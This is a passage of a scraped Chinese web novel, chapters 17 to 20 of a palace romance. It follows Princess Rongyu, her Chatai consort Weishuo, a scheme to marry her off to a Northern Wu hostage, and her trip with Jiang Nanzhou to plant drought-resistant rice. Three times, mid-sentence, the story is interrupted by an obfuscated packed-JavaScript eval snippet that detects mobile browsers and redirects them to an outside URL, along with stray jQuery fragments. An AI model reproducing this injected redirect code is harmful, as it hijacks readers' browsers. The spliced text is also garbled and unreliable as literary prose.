褚炆卓再如何没用,也毕竟是她一母同胞的亲哥哥,他们二人才是一条船上的人,而褚炆宗与皇后、明懿才是一派,这功劳若是被他拿去,对于他们贵妃一派自然算不得好事。 褚炆宗好像看透了她的犹豫:“为兄知晓你在想什么,可种子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17002739|193144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再好,也需要有能力的人将之用好,若不能物尽其用,那只是白白糟践东西罢了。” 他虽未明指,但容与明白他说的正是褚炆卓,若将这东西交到他手中,保不齐会否如十万两灾银一样白白浪费,这可是她许多年来的心血,私心来说,她也希望自己的心血能发挥最大的作用。 如此看来,交给褚炆宗确实是更为稳妥的选择。 可容与话锋一转,一改往日的温和乖顺,语气中是鲜少显露出的锋利:“太子哥哥的才干我自然放心,可这是我多年心血凝结而成,也只有我才能发挥出它们全部的价值。” “清阳妹妹的意思是?” 容与直言:“我要亲自看着我亲手研制的旱稻播入庆祥府的土地。” “你要一同前往庆祥府?” 容与点头:“是。” 褚炆宗面上显出为难:“不是为兄不赞同,只是妹妹乃女眷之身,名声又一向不佳,若贸然前往……” “我相信以太子哥哥的才干足以处理妥当。”容与知道褚炆宗想独占功劳,而自己本就对这些虚名不甚在意,若是旁的事她大概不会强求,可关乎粮种,她只相信自己。 褚炆宗凝眸看着对面之人,眼中晦暗,不知所想。 * 而刚与容与分开不久的尉朔此刻已经在回公主府的路上了。 辉山恨铁不成钢地在尉朔耳边不住嘟囔:“主子,咱们就这样走了,你不觉得少点什么?” “少什么?” “公主呀!”辉山怒其不争。 “公主?”尉朔不解。 “你人都来了,还不将公主接回去,再不济你留在这陪着公主也行呀,就这么走了算怎么回事?” 尉朔不以为意:“公主还有事,而且她这么大人了,还需要我陪?” “不是,我的意思是你得主动表现呀!”辉山急得直拍自己的大腿。 看尉朔还是不懂,他接着循循善诱:“你想想你今天为什么要来别院?” 尉朔想了想:“因为你说公主招了两个小白脸,不过事实证明这只是个误会而已。” “主子,你这么聪明,怎么就不明白呢?你之所以会着急赶来,就是因为害怕公主喜欢上别的男子呀,所以你得趁这事真的发生前,先下手为强。” “等等,她喜欢谁和我有什么关系,我又不喜欢她。” 辉山撇嘴看着他,显然是不信。 尉朔连忙解释:“我说的都是真的,我之所以担心她喜欢上旁的男子,只是害怕她与我和离,那我便没机会接近她,从她身上学到耕种的技艺了。” “好好好,咱们不管你是喜欢她还是为了耕种技艺,左右都是不能让公主喜欢上旁的男子,所以你更要主动接近公主呀。” 尉朔想了想,觉得他说的有几分道理,表情凝重了许多。 辉山见他终于正视起来,连忙再接再厉:“清阳公主长得这么好看,又有才华,又有地位,还有银子,想接近她的男子多了,这次虚惊一场,下次可不一定了,主子你必须早做打算。” “那依你看,我应当怎么做?” “这……”原本头头是道的辉山犯了难,他还不到十六,又没讨好过女子,怎么知晓要怎么做。 于是他谄媚道:“主子你自小就聪明,小的相信你一定能自己想出办法。” 说着他拍了拍尉朔坚实的后背,郑重道:“就当是为了咱们察泰拼一把!” “行,我试试吧。” 为了察泰,不行也得行,只有把这位公主伺候好了,他才能趁机偷师,让族人过上吃喝不愁的好日子。 可究竟该从哪里下手讨好呢?他苦思冥想了几日才终于有了些头绪。 18. 讨好 知错就改一向是尉朔的好品格,可惜等他翌日亲自到别院想将容与接回时,却听小厮告知公主刚刚回城去了。 而容与此刻正坐在前往皇宫的马车上,贵妃一早匆匆宣她进宫,虽尚不知所为何事,可她总有种不好的预感。 果然,她刚踏进柔仪宫的殿门,一只杯盏就飞了过来。 “你还敢来见本宫!” 容与镇定绕过满地碎片,淡淡回道:“原就是您召儿臣过来的,若您不想见儿臣,那儿臣即刻退下。” 贵妃气急:“你倒是长本事了。” 她素来如此,只是母妃从不曾在意罢了,母妃的眼睛永远只会落在哥哥身上。 见她垂着头不说话,贵妃火气更盛:“若不是太子,本宫还不知晓你竟有这等本事。” 这话说得阴阳怪气,而“太子”二字一出,容与便已了然,定是她与太子合作之事传到贵妃耳中,今日特意兴师问罪。 “有旱稻这种好东西你竟然从未告诉过本宫或是你哥哥,而一心为外人谋划。” 对于张贵妃的反应,容与其实并不奇怪,甚至早已心寒到麻木,如今只觉得好笑。 连褚炆宗这个所谓的“外人”都知晓的事情,自己的亲生母亲和哥哥却从未在意过,这究竟怪谁。 也不顾容与的反应,贵妃只自顾自说着:“上次和你说的事你考虑的如何了?” 容与心里更寒,她口中的事莫非是指与北乌联姻? 原以为贵妃只是一时冲动,半月过去也该冷静下来了,可看她此刻的神情好像并非一时兴起。 “儿臣与驸马感情甚笃,就不劳母妃费心了。” 张贵妃不屑地冷哼一声,显然早已看破容与的谎言:“本宫原也不想逼你,但你与太子合作,弃你的亲兄长于不顾,实在太令本宫失望了,你既如此绝情,那也莫怪本宫心狠。” 二人再一次不欢而散,等容与离开后,一个人影从屏风后走了出来。 他径直走到贵妃最爱的躺椅上坐下,眼中满是玩味:“贵妃娘娘,看来清阳公主并不听你的话呀。” 此人正是北乌质子塞音! 贵妃虽心中不悦,可还是竭力扬起一抹亲和的笑意:“公子想多了,她是本宫所生,即使有些反叛也只是嘴上说说罢了,蚍蜉终究是撼不动大树的。” “什么蚍蜉大树的,贵国无用的名堂太多,爷听不明白,不过这清阳公主确实貌美,倒是比青楼里的花魁还要带劲儿。”塞音搓着下巴,好像在回味着什么。 贵妃赔笑:“能得公子青睐是清阳的福气,那你我便说定了,只要北乌能助我儿一臂之力,清阳便是公子你的了。” “自然,到时还要称贵妃一声岳母呢。” 送上门来的美人儿自然没有拒绝的道理,更何况还是尉朔的女人,那就更有趣了。 他要让尉朔亲眼瞧瞧,胆敢得罪北乌究竟是什么下场! * 回府的路上,容与的右眼一直跳,直跳得她坐立难安。 嘉穗在一旁安慰:“公主怕什么,您如今可是有正儿八经的驸马,咱们大晟可从未有过一女二嫁的先例。” “可我与尉朔是毕竟不是真的。”她如今还是完璧之身,只要一查便会露陷。 “您与驸马是名正言顺的夫妻,将假的做成真的又有何难?” 容与却犯了难:“可那尉朔……他根本对我无意。” 就如瑾姝所说,尉朔一个已近及冠之年的男子,放在寻常贵族家中通房侍妾早就一大堆了,有了几个孩子的也是正常,他怎么可能真的对男女之事一窍不通。 明白却要硬装糊涂,不过是给她留点体面不便直说罢了,若她还上赶着那就是自讨没趣了。 看容与一筹莫展,嘉穗凑到她耳边:“奴婢倒有个法子,这男人呀都喜欢温柔体贴的女子,您不如投其所好。” “凭什么,本宫堂堂大晟公主,还要屈尊讨他欢心?” “公主您就将他当成个物件,如今他对您有用,您不妨就拿来用上一用,用完丢弃在一边又何妨。” 这话也有些道理,毕竟如今也没时间挑三拣四了。 看容与松口,嘉穗连忙道:“您看贵妃娘娘就常常亲手为皇上量体裁衣,皇上受用得紧呢。” “你的意思是让我给尉朔做衣裳,可你也知道,我那手艺……”绣方手帕还凑合,至于做衣裳,恐怕不是领子歪了,就是袖子少了。 “裁衣哪里需要您亲自动手,绣房那么多绣女都可代劳。” “既有人代劳,那这量体裁衣有何用处?”容与不解。 嘉穗挤眼:“裁衣有人代劳,可这量体可没有。” 量着量着,小手一摸,身子一贴,不就抱到一起了吗。 她家公主这身段,她一个女子看了都眼热,就不信血气方刚的驸马真能做那坐怀不乱的柳下惠。 虽然不懂嘉穗为何笑得如此诡异,不过她一向沉稳周到,容与便也没多问,只嘱咐她将库房中最好的料子取出来。 想到这么好的料子用在尉朔那种野蛮之人身上,她的胸口一抽一抽地疼。 当夜,容与将手中的软尺贴过去时,被尉朔机警避开:“你要做什么?” 辅一感受到腰间游走的痒意时,尉朔脑袋便轰一声,不知为何,几天前那个令人羞于启齿的梦霎时间涌来。 他于是自欺欺人地将容与一把推开,用不耐烦的嫌恶之色掩饰脸上异样的红晕。 被猛地一推,容与踉跄几步,面上有些委屈:“我看你的衣裳都旧了,恰好库房中有几匹好衣料,不如我亲手给你缝一件吧。” 尉朔本能地想要扶她,可一想到那柔软的触感又生生止住,面色僵硬地移开眼去,连看都不敢再看她。 “不用,衣裳这东西能蔽体足矣,没这么矫情。”他草草回答,话中不自然的生硬落在容与耳中便含了三分嘲讽,七分不屑。 容与尴尬地愣在原地,她有心奉迎,尉朔不知感激便也罢了,竟还如此羞辱,甚至连看她一眼都厌烦。 她本以为误会解开之后,二人也算冰释前嫌,越来越融洽了,原来一切都只是她一厢情愿。在尉朔眼里,自己仍是那个华而不实、矫揉做作的讨厌之人。 虽委屈至极,容与还是压下鼻尖酸楚,捧起桌上的布匹:“可这料子都取出来了。” 尉朔摇头:“就这料子,驴粪蛋子表面光,中看不中用,我翻个墙爬个树就勾烂了,不要。” 他只是实话实说,可这糙话落在容与耳中就是十足的嘲讽。 “你究竟要不要?”她也不再有方才的耐心。 “不要!” 几句话毕,容与的脸色青一阵红一阵,瑾姝说的果然没错,尉朔就是故意的,他哪里是不懂,分明是借机羞辱自己。 恐怕这人面上装的无辜,心里指不定怎么笑话呢。 “行,尉朔你听好了,从今日起本宫不想再看到你了,现在,立刻,给本宫滚回你的柴房!” 还未等尉朔反应过来,他已经被那双看似柔弱的小手推出房门。 尉朔不知所措,不是,他又做错什么了,难道因为拒绝了一套新衣?可这不正好替她省了布料,还免得她辛苦缝制,她该夸自己懂事才对呀。 嗯,肯定不是这个原因,不过纵使他想破脑袋也依旧没有任何头绪。 尉朔不免一阵失落,明明是打定主意要讨好于她,如今反而又将人惹毛了。哎,这可怎么从她身上偷师,将耕种技艺带回察泰呀。 而留在卧房中的容与心情也并没好上多少。 嘉穗劝谏道:“哎,公主,您东西都送了,就不能说点好听的?” 容与冷哼:“本宫为君,他为臣,本宫都赏赐他东西了,难道还要讨好于他?” “好吧,您这话也有道理,只是……”只是眼下情况紧急,不过嘉穗还是没有说出口,事已至此,不能让公主更加烦心了。 容与深吸了口气:“好了,不管他了,反正十日后我就要启程去庆祥府了,还不知多久才会回京,这些烦心事等回京之后再说吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17014876|193144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “是,那奴婢先帮公主将包袱收拾好。” “嗯,别忘了我的那些手札。”那里面全是她关于农事的心得,最是要紧。 至于其他的,只要远离京城,母妃、尉朔……所有这些烦心事就都可暂时抛在脑后了,以后的事,那就留到以后再去担忧吧。 * 被气得头昏脑胀,容与当夜不知翻来不去多久才睡着,可翌日天才蒙蒙亮就又被门外一阵噼里啪啦的声音吵醒了。 她半睁着眼,连梳洗都顾不上就气势汹汹冲到门前的空旷院落中。 “大清晨的,吵什么吵,还让不让人睡觉了!” 她话音刚落,就见罪魁祸首无辜地出现在眼前:“扰了公主清梦,是我的不是,尉朔在此赔罪了。” 他赤着上身,袒露的胸膛肌理紧实,腹间沟壑错落如垒,在清晨的曙光下,每一道都浸着汗湿的光泽,一双铁臂更是青筋虬结,举手间隆起如小山。 这副样子,一看便是正在练武,怪不得如此嘈杂,虽心中埋怨不已,可容与却不经意地咽了咽喉咙。 她一双眼睛不知该向哪里搁,尽管局促地将目光禁锢在脚下的方寸之间,可余光还是不由瞄到男子侧腹处两道利落的线条一路向下,直到没入紧束的黑色裤腰中。 就在这时,男子的声音突然响起:“公主看见什么了?” 看见什么?莫非……自己方才的小动作被他当场抓包了! 她堂堂大晟公主,怎么能被一个小国质子取笑,更何况这事也不赖她,明明是尉朔自己不好好穿衣服。 想到这她理直气壮许多:“本宫什么都没看见!” “真的……什么都没看见?公主再仔细看看呢。” 看着容与的目光上下左右转了一圈,可每次都极有分寸地避开自己的身子,尉朔不免有些着急。 听他此问,容与莫名其妙:“本宫应该看见什么?” 尉朔索性弯腰,将一只壮硕的手臂伸到她眼前,只见他腕骨劲瘦,小臂肌肉线条流畅如弓弦,宽厚的肩胛棱角分明,使力间,小山般的肌肉骤然隆起,其上盘踞着几缕隆起的青筋。 “你看。”生怕容与看不见似的,他将臂膀又向前伸了伸。 “所有公主明白了吗?” 容与怔愣片刻,她该明白什么? 莫非……这人终于开窍了!一时间,容与不知该开心还是娇羞。 她还是红了脸,抿唇道:“本宫明白了,今夜……” 可还未等她说出口,就听尉朔已经急急道:“我虽没有别的本事,可凭我这浑身的力气,足够帮你提水浇地了。” “什么?” 尉朔满眼诚恳:“别院有什么活尽管吩咐我干,我一定不会让你失望的。” 容与气得几乎要笑出来:“谁想叫你提水浇地了,这些自然有下人干,不劳驸马大驾了。” 不是,她怎么又生气了?尉朔彻底懵了。 他可是听了辉山的建议,苦思冥想许久才想到这么一个投其所好的法子。既然清阳公主喜欢农耕之道,他又正好有一把子力气,帮她提水浇地有何不好?她还不乐意了。 哼,这么个祖宗他可懒得伺候了。 话不投机半句多,尉朔索性不再理她,转过身去自顾自舞刀弄棒了。 可只一会儿的功夫,他还是不甘心,将手中的棍棒重重扔下转过头来,但哪里还有容与的身影。 “公主去哪了?” 辉山答:“别院。” “走,我们也去!” “主子,你刚才不是还和公主拌嘴吗,这会儿腆着脸跟过去……” 尉朔满不在意地打断他:“从前我是怎么教你的,想要的东西要自己争取,哪能因为一次失败就打退堂鼓。” 那女人方才拒绝了他不假,但既然要向人家拜师学艺,就要有求人的样子。 看那女子的模样分明是不信自己能做好浇水种田的活计,今日他一定要让她亲眼瞧瞧,自己这身力气可不是白长的。 19. 南洲 二人还未踏出府门,便看到李瑾姝迎面走来。 上次虽在主屋中打过照面,可尉朔一向对陌生女子不甚在意,因此也并不认得她,此时看见也只当没看见,只径直越过她向外走去。 可背后之人却将他叫住:“尉少主留步。” 尉朔并未回头,只不耐烦地丢下一句:“她不在府中,改日再来吧。” 见他没有停下攀谈的意思,李瑾姝面露不屑地笑了笑,眼波一转,面上便露出一副惊讶的神情:“哎呀,容容去了别院,姜公子估计也直接去了别院,他们二人大概已经见上面了,真是心有灵犀,巧的像约好了一般,看来我是白跑一趟了。” 果然,听到这话尉朔幽幽转头:“姜公子是谁?” 瑾姝讶异:“难道尉少主不知?” 看尉朔脸色愈发不善,她转而又一脸了然:“是了,那姜公子乃人中龙凤,非寻常男子可比,与容容的情分更是极为特殊的,容容未与你提及也是正常。” 尉朔下意识握紧拳头,原来在她们眼中,就连与他提及一声都是多余的,个中缘由究竟是因为褚容与和这位姜公子关系特殊,不方便让他这个“驸马”知晓,还是自己这个白白占着“驸马”名分的人本身就是可有可无的,说与不说都无关紧要。 “姜公子究竟是谁?”他死死盯着李瑾姝,面色阴沉得可怕。 见尉朔脸色不善,瑾姝只好和盘托出,不情不愿的:“好吧,告诉你便是,姜公子乃上古弘农氏后裔、现任神农谷谷主的长孙,三岁能辨五谷,八岁遍览农桑古籍,与容容更是自小相识、兴趣相投。” 纵使察泰偏安一隅,见识浅薄,神农谷的大名尉朔还是听过的,据说那里能令枯禾复生、旱地生芽。 据传闻,十五年前京城曾遭百年难遇的水灾,农田、庄稼皆被尽数淹没,数年难以恢复耕种,就在走投无路之时,神农谷出手相助,才免于易子而食的惨剧,更令大晟免于覆灭。 只是神农谷素来神秘,从不属于任何一国,也无人能够摸清其真正的位置,想要求其出山相助难如登天,察泰国主也曾三番两次诚心相求,可每次都石沉大海,无一次收到回信。 这位姜公子作为神农谷的少谷主,自然不是等闲之辈。 那女子也喜好农桑之道,与这姜公子应该很能聊得来吧。与他相处时,那女子大概会笑得很开心,不像平日里对上自己时那般厌烦。 就连尉朔自己都未发现,他心里酸得发苦。 * “公主,你猜谁来了!”丰禾激动地跑过来。 “尉朔?”这个名字脱口而出时,容与自己都感到诧异,好端端的她怎么又想起那个扫兴之人? “不是。” 听到这个回答,容与隐隐有些失落,就连她自己都未意识到。 容与作势打她:“你个小蹄子,别卖关子了,究竟是谁?” “是姜公子!” 容与一怔,片刻后她不可置信地轻呼出声:“小洲哥哥来了!真的吗?” 她低头看了看自己身上沾满泥污的素色衣裙,有些不知所措:“他已经到门口了吗,赶快帮我找件能见客的衣裙。” 可还未等她话音落下,不远处已经传来一个清隽的男声。 “容与,经年未见,别来可好?” 她抬头望去,只见来人逆着日光,周身像是镀了一层金边,他身形颀长挺拔,却不显得凌厉,自有一股温润的清隽,即使只着一身粗布短褐,仍掩不住翩翩君子之姿。 随着一双布鞋向前迈进,他的面容轮廓逐渐被勾勒清晰,一双眉峰清浅,鼻梁挺直却不显锋利,唇线温雅,浑身上下并无任何装饰,却别有一番本真的贵气。 姜南洲一步步向她走来,一如垂髫之年初见。 “小洲哥哥,别来无恙。”容与用力扯起嘴角,却鼻尖一酸,一滴晶莹的清泪比笑意先至。 姜南洲抬手想拭去她如雨的泪痕,可抬手的一刹那还是克制住了,只转头示意一旁的丰禾递上锦帕。 “怎么哭了,看来是不愿见我了,枉我还特意备了礼物,看来只能带回去了。” 他佯装要走,逗得容与“扑哧”一声破涕为笑:“小洲哥哥,你又逗我。” 她佯装生气,叉着腰伸出一只手:“让我看看你备了什么礼物,若是不得我欢喜,我可是不依的。” 姜南洲早料到她如此反应,低头轻笑一声,从背后的背篓里取出早已备好的小包裹交给她。 容与仔细摸了摸,这好像是一本册子,打开一看,果然是一本厚厚的手札,上面密密麻麻都是姜南洲的字迹。 “这是……” 男子浅笑颔首:“当初分别时许下的诺言,如今重逢自然不能食言。” 本是简单的一句话却将容与拉回三年前分别之时。 三年前容与被诬陷虐杀流民,被千夫所指。周围阿谀奉承、众星捧月之人皆在一夜间散尽,原来,众口铄金,积毁销骨,竟是这般滋味。 那段日子容与不知是怎么熬过来的,但凡有人有意无意看过来,或者窃窃私语些什么,她便会疑神疑鬼,觉得他们都在对自己指指点点。 还好,身边还有姜南洲与瑾姝二人陪着她,才让她不至于彻底绝望,一了百了。 可就在那个众叛亲离的关头,神农谷谷主却急信命令姜南洲速归。 容与曾含泪问他:“神农谷究竟出了何事?” 姜南洲愧疚地低下头去,闭口不言。 容与了然,神农谷之事从不为外人道也,她懂,她一向惯于体谅,所以她懂事地再也没有问过。 她试探着问他:“能不走吗?”好像悬崖峭壁之上抓住的最后一根救命稻草。 姜南洲红了眼眶,却僵直着脖子,想点头而不能。神农谷的使命在身,又怎能随心而为? 神农谷担负天下苍生的重任,谷主急信定是有避讳不可说的急事等待姜南洲解决,而相识多年,姜南洲的脾性容与更是十分了解,在看到他眼底的那丝愧疚时,容与便已经明白:他已下定决心要走,留不住的。 既然已知结果,容与于是率先开口:“小洲哥哥你回去吧,我如今已经好多了,不必挂念。” 姜南洲并未拒绝,只是轻轻点头,临走前他承诺:“我会将分别这些时日的农事心得细细记下,待重逢之日将它赠予你。” 他的一点一滴都记录在册,容与看了便可知晓他这三年的一切所思所想,就如同他们日日交谈,从未分开一般。 姜南洲走后,瑾姝也被长公主禁足在家,不准与她来往。 那些时日,容与不敢和任何人来往,只能窝在别院那棵琵琶树下独自发呆,这是她与姜南洲、瑾姝三人一起种下的,小树一寸寸长高,姜南洲也离去得愈来愈久。 后来小树已亭亭如盖,姜南洲还是没有回来,她也逼着自己忙碌起来,渐渐不再期待。 可如今,他回来了,带着分别时的约定。 容与捧着手中的手札,她本该欣喜的,可三年前日思夜想的礼物,如今拿在手中却也只如平常书册一般轻重。 她努力扬起却未达眼底的笑意落在姜南洲眼中,他心里一紧,一贯沉稳的语气显得无比慌乱。 “祖父允我出谷时,我就想着一定要快些赶到京城,是以昼夜不敢停歇,”说到这,他面色复杂地一顿,再开口已掺杂了些难言的苦涩,“可惜半路传来你成亲的消息,这礼物便当作是……你们的新婚贺礼吧。” 看容与垂首不言,姜南洲踟蹰许久还是忍不住问道:“这些时日,驸马待你可好?” “咱们不提他!”听到这个名字,容与本平静舒展的五官骤然别扭起来,反而比方才的端庄沉静显得灵动了许多。 她心里还在暗暗恼恨着那个木头,自己赌气离开,难道那个木头就不知道主动跟过来吗? 察觉她突然起伏的情绪,姜南洲眼底一暗。 自小相识,容与的脾气他再熟悉不过了,即使常常在人前显露出骄傲之态,可这又何尝不是她心底敏感细腻之处的刻意掩饰。 即使有所不满,她都会十分懂事地隐忍不说,甚至连真实的情绪也会悄悄藏好,自己消化,然后展露出一副没心没肺的样子反过来宽慰他人。 而对于这个被迫绑在一起的小质子,她却再不掩饰任何喜怒哀乐,真实得几乎不像她了。 而她此时这般毫不掩饰的厌恶难道是真的厌恶吗?即使是真的,她愿真真实实地表露出这份厌恶,那个人在他心里也已经有所不同了。 两人交谈间,瑾姝急匆匆赶到:“小洲哥哥,一听到你进城的消息我就赶紧去容容府上想要告诉她,没想到你们已经在别院碰面了,可真是……心有灵犀。” 她说着,还一边挤眉弄眼。 姜南洲轻笑一声:“许久不见,瑾姝还是如此顽皮。方才看到那边的新苗长得正好,我先去看看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17032324|193144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,就不打扰你们姐妹了。” 说完,他就先行去了远处的菜园中。 瑾姝别有深意地朝容与眨眼:“小洲哥哥对你是不同的,我不信你一点都未看出来。” 容与无奈摇头:“哪里有什么不同,他对你我一样,都是当作妹妹看待的,我也一直将他当作兄长。” 瑾姝撇嘴:“呵,方才你俩聊得火热,我一来他就借口离开了,这不就是与我避嫌吗,可对你他可从未避过嫌。” 见容与不信,她又继续道:“反正依我看,小洲哥哥挺好的,你们二人青梅竹马,又志趣相投,总比那个粗野的察泰质子好吧。” “你胡说什么,我如今已经成了亲,你莫要胡吣,平白辱没了小洲哥哥的清白名声。” 瑾姝没好气道:“行,算我多此一举了,不过尉朔那厮明显是未把你放在眼里,根本不将你当回事,你堂堂公主也不至于在一棵树上吊死吧。” 说完她又瞥了眼姜南洲的方向:“趁着如今有更好的选择,还是要赶紧抓住。” * 而留在公主府中的那块木头也并不好过,瑾姝走后,他便阴沉着一张脸,一言不发。 “主子,咱们不是要去别院吗?” 刚才还信誓旦旦说要自己争取,现在怎么又像霜打的茄子,辉山不禁埋怨,他家主子都快比公主还要善变了。 尉朔只是愈发用力地挥舞着手中的棍棒:“不去了,没得碍人眼,自讨没趣。” 人家可是神农谷的少谷主,在农桑一道上随便露两手也比自己这个空有蛮力的莽汉讨她开心,又何必自取其辱。 “主子,这可不像你,你从来都是不撞南墙不回头的,可不会像今天这样前怕狼后怕虎。” “我……”尉朔一时语塞,辉山说的很对,这样瞻前顾后确实并非他的性子,若放在平常即使明知希望渺茫,他也势必要试上一试才能甘心。 可如今只要想到那女子钦慕地看向姜南洲的眼神,以及看向自己的百般嫌弃,他就连试一试的勇气都化为乌有了。 人家年纪轻轻便是名满天下的神农谷少谷主,一双妙手可救苍生,更如李瑾姝方才所说,人家自幼便精通各类农桑典籍,学富五车。 而自己呢,怕是连那些古籍上的字都认不全,至于那些稀奇作物更是见都未曾见过,又有什么资格与姜南洲相比。 就这样一连数日,尉朔哪都不去,只整日闷在院里舞刀弄棍。 看着自家主子整日郁郁寡欢,发泄蛮力的样子,辉山终于忍不住了:“主子,你想见公主就直接去别院找她呗,整天对着木桩草垛生气算怎么回事。” “谁说我想她了,她又娇气又多事,她不在我乐得自在。” 看辉山脸上写满不信,他又点头承认:“好吧,就算我想她,也不是想她这个人,而是想着怎么才能从她身上学会耕种的本事,好早日带回察泰去。” 辉山实话实说:“可是照主子您这速度,恐怕这辈子也讨好不到公主了,何况公主身边有了姜公子陪着,更没功夫搭理你了。” 一听到姜公子三字,尉朔好像被踩了尾巴般彻底坐不住了,这几日好不容易压下去的情绪再次反扑过来。 他犹豫再三,还是唤来府中的小厮:“这几日公主在别院中可还好?” 小厮一愣,旋即挠了挠脑袋:“回禀驸马,公主不在别院中了呀。” 尉朔心里一沉:“那公主去何处了?” “驸马您难道不知道吗,公主昨日一早便启程去了庆祥府了。” 庆祥府?他怎么会知晓,那个女子根本就没告诉他,甚至连遣人知会一声都不曾。 也是,人家凭什么告诉他,他们只是表面夫妻罢了,事实上自己又算她的什么人? 他接着问道:“公主自己去的?” “那倒不是,同行的还有姜公子。” 看着自家主子黑得难看的脸色,辉山适时劝道:“公主她们才走了一天,咱们若是立刻骑马去追应该可以赶上。” 尉朔迈开长腿:“走!” 片刻后,他又特意转过头澄清:“我可不是想去陪着她,只是为了察泰,为了跟她学本事。” 辉山点头:“是是是,我们都知晓你不喜欢公主。”嘴上如此说着,心里白眼都要翻上天了。 哼,他家主子还总说晟国人虚伪呢,也不看看他自己自从当了晟国女婿,也变得心口不一,虚伪至极。 20. 奇事 容与一行与褚炆宗等人乃兵分两路而行。 这样安排一方面是顾及容与的身份和名声都太过敏感,若叫百姓知晓她随同前去,恐惹来非议;另一方面褚炆宗作为太子,路上难免要受各地官员拜见、招待,容与对这些应酬之事一向不耐烦,分开走正好能够避开这些无聊的应酬。 因此褚炆宗走官道,容与一行走小路,二人约定在庆祥府会和。 为了早日赶到,容与夙兴夜寐,今日天还未亮便早起赶路,可此时马车却卡在路上一动不动了。 “可是出了什么事情?”容与撩帘问道。 车夫也满是焦急:“回禀公主,车轮陷入泥里,一时半刻怕是拖不出了。” 此刻本就正值初春,又接连下了几场春雨,冻土融化,此处土路早已变得泥泞不堪,稍有不慎车轮便会陷入泥中,被湿泥层层裹住,越挣扎便陷得越深。 见容与坐立难安,姜南洲深知如今急也无用,遂温言劝道:“咱们不妨下车等候吧,我方才看到路边有个亭子,咱们可以先去那里坐坐。” 容与无奈:“也只能如此了。” 二人既帮不上什么忙,自然也不能赖在马车里拖后腿,如今能做的就只有先下车,祈祷马车能尽快脱困了。 大家皆去帮忙,只留二人走进破旧的凉亭中稍作休整。 容与刚迈进凉亭,就被眼前的一方石凳吸引住了目光,只因这凉亭看起来许久无人问津,早已破败不堪,处处皆是陈年灰垢,而亭中有四张石凳,三张布满尘灰蛛网,偏偏有一把干净锃亮,好像刚刚被人精心擦拭过一般。 她下意识转头,可身后空无一人,心下一阵低落,还混杂些奇怪,她今日究竟怎么了,总是疑神疑鬼的,有种被人跟踪的错觉。 “容与,你在看什么。”还未及多想,姜南洲的声音就在身侧响起。 容与心不在焉地扯出一抹笑意:“没什么。” 姜南洲唇角微苦,她心里明明有事,可却不愿向自己提起,究竟是从什么时候起他们之间已经不是无话不说了。 他掩住苦笑,指了指明显洁净的那把石凳:“那个凳子看起来干净些,你一向喜洁,就坐在那吧。” “嗯。”容与并未推辞,二人各怀心思,一时无言。 还是容与没话找话,率先打破这尴尬的宁静:“这两日的天气倒是怪得很,好端端的阳春三月,温度却骤然降了许多。” 姜南洲颔首:“嗯,古人云乍暖还寒,也算寻常。” “舟车劳顿,路途辛苦,麻烦小洲哥哥陪我跑一趟庆祥府了。” 容与其实本没想邀姜南洲同往,可他主动要求前去,且提出了一个不容拒绝的原因:他也听闻了庆祥灾情,早有前去查看的打算。 容与想想也有道理,自己虽然自小潜心钻研农耕之道,可终究比不过出身于弘农氏的姜南洲。若真有什么自己无法解决的困难,有姜南洲在旁帮衬,无论对灾民还是对大晟都是有百利而无一害。 听她疏离的道谢,姜南洲苦涩摆手:“容与,不过短短三年未见,你怎么反倒与我生分了,你我二人何须言谢。” 他郑重道:“在你需要之时陪在你身边,本就是我应做之事,你不必觉得欠我人情。” 可听到这话,容与脸色却蓦然一僵,饶是很快便掩饰过去,仍被姜南洲敏锐地捕捉到。 姜南洲知道她想到了什么,三年前在她最需要自己时,自己却抛下她回了神农谷。 虽然自重逢之后,二人都默契地尽量不提及此事,可这终究是横亘在二人中间的一根尖刺,若是畏惧疼痛而任由其生根,只会愈来愈深。 “容与,当年我急着离开其实是因为……” 容与抢先打断:“小洲哥哥不必说了,神农谷有规矩严禁谷中之事向外人道也,即使你愿意说,我也是断不能听的。” 这句话如同一盆冰水,让姜南洲瞬间清醒,他不自然地握拳轻咳一声:“你并非外人,你若想知道,我自然会讲给你听。” 容与摇头:“你知道的,我对这些繁琐公事一向不上心,听着就头疼。” 听她回答的正如自己预想的那样,姜南洲心里暗自松了口气。 天色越来越暗,此地偏僻荒凉,春日的夜晚仍然寒凉,冷风一吹,容与冻得不禁微微发抖。 “马车可拖出来了?”容与问遥遥走来的嘉穗丰禾二人。 “还未。” 容与焦躁起来,这可怎么是好,若天黑之前仍想不出法子,可就要在这荒郊野外过夜了。 不自觉的,容与脑海里突然浮现出尉朔那两条结实的手臂和一副沟壑分明的身子,凭那身力气,恐怕用不了多久就能解决眼下之困吧。 